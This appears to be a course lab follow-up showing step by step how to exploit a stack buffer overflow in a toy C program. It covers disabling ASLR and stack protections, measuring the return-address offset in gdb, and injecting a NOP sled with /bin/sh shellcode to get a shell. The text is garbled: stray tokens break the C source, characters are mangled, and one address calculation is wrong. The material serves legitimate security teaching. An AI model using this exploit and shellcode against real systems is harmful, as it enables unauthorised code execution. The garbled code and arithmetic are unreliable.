Lab Follow-up In this document, we will go over what we were trying to accomplish yesterday. Instead of making a video, I am creating this document so that you can reproduce everything for yourself. To clear any confusions arising from our attempts yesterday, our procedure was correct, but the outcome was unexpected. It seems like the problem was with the VirtualBox setup that I had. Below we will work with the same vulnerable application, same approach, and the same shell code on VMWare Workstation (the same setup that you have) and it works. I have checked the relevant configurations and those seem to be correct. (You can reproduce the same bug for VMWare by setting-up a break for step 3 below. For virtual box we tried without a breakpoint but we likely did not have a clean state.) Test pre-conditions Ensure that you have the ASLR disabled. The output of the following command should be 0. cat /proc/sys/kernel/randomize_va_space If it is not, the run the following command: echo 0 sudo tee /proc/sys/kernel/randomize_va_space The toy problem here does not need the suid bit to be set but ensure that for Lab01-Q2, suid bit is set (see commands chown and chmod a+s) Vulnerable application We are using the same vulnerable application as in the class (vul.c). The source code is below: #include #include #include #include void vul (const char* arg) { } char buffer[20]; strcpy(buffer, arg); ma printf("[+] buffer @ %p ", buffer); int main (int argc, char **argv) { } man if (argc != 2) { main printf("Usage: %s ", argv[0]); exit(1); vul (argv[1]); mm und return 0; } You should compile this application using: gcc -o vul vul.c -g -z execstack -fno-stack-protector mmmm wwwm wwwwwwwwwwm mmm Exploitation Recall that we will need to do the following steps to exploit the vulnerable application in GDB. All the steps are the same (like we did it in the class). I am pasting the necessary screenshots for you: Step 1: Find the Start of the buffer that is vulnerable and gap to the return address gdb vul (Run the compiled executable in gdb) break vul (set breakpoint in the vulnerable function) Recall that we spent much time in the class figuring out how to determine the start of the buffer and the gap between that and the return address by looking at the memory. Below is a slightly faster way to do it: Starting program: /home/uogsec/aslr/vul $(python -c "print('A'*20 + '\x41\x41\xf f\xbf')") Breakpoint 1, vul (arg=0xbffff37d 'A' , "\377\277") 9 at vul.c:9 strcpy(buffer, arg); (gdb) info frame Stack level 0, frame at 0xbffff0e0: eip = 0x8048483 in vul (vul.c:9); saved eip = 0x80484ea called by frame at 0xbffff100 source language c. Arglist at Oxbffff0d8, args: arg=0xbffff37d 'A' , "\377\277" Locals at 0xbffff0d8, Previous frame's sp is 0xbffff0e0 Saved registers: ebp at 0xbffff0d8, eip at Oxbffff0dc (gdb) p & buffer $1 (char (*) [20]) 0xbffff0bc (gdb) p/x 0xbffff0dc-0xbffff0bc $2 = 0x20 (gdb) We executed the program with 20 A followed by a random address. Then we pulled up where the return address was stored ("eip at") and the start of the buffer (p &buffer). We subtracted these two and printed the difference in hex (p/x Oxbffff0dc - Oxbffff0bc), which shows that the difference is 20 hex or 32 decimal. Step 2: Create the formatted shellcode Now we format our shell code like we discussed in the lecture. We will create it such that there is: [32 bytes of anything][4 bytes New return address that points to the region right after where the return address is stored] [40-byte of NOP_SLEDGE] [SHELL_CODE] Since the current location where the return address is stored is Oxbffff0dc, we added 12 to it to get to Oxbffff09e. Substituting the values in the above statement gives us: r $(python -c "print('A'*32 + '\x9e\xf0\xff\xbf' + '\x90' * 40 + '\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80')") Step 3: Feed it to gdb and tweak if necessary We start gdb again, and run it with the above construction: Jogsec@ubuntu:~/asr$ gdb vul GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.3) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "1686-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from vul...done. (gdb) r $(python -c "print('A' *32 + '\x9e\xf0\xff\xbf' + '\x90' * 40 + '\x31\xc0 \x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80')") Starting program: /home/uogsec/aslr/vul $(python -c "print('A' *32 + '\x9e\xf0\xf f\xbf' + '\x90' * 40 + '\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99 \xb0\x0b\xcd\x80')") [+] buffer @ 0xbffff06c process 3176 is executing new program: /bin/dash This time we get the shell. (Note that you may need to tweak the addresses when the size of stack is not the same (depending on the input size)). Step 4: Clean and run without -g Recall that we compiled the executable with gdb, which allowed us to set breakpoints. Real world applications are not compiled with -g switch. So you need to recompile the application without-g. When you do so and try the exploit outside gdb, you will notice that things do not work anymore. When that happens, see the following link: https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it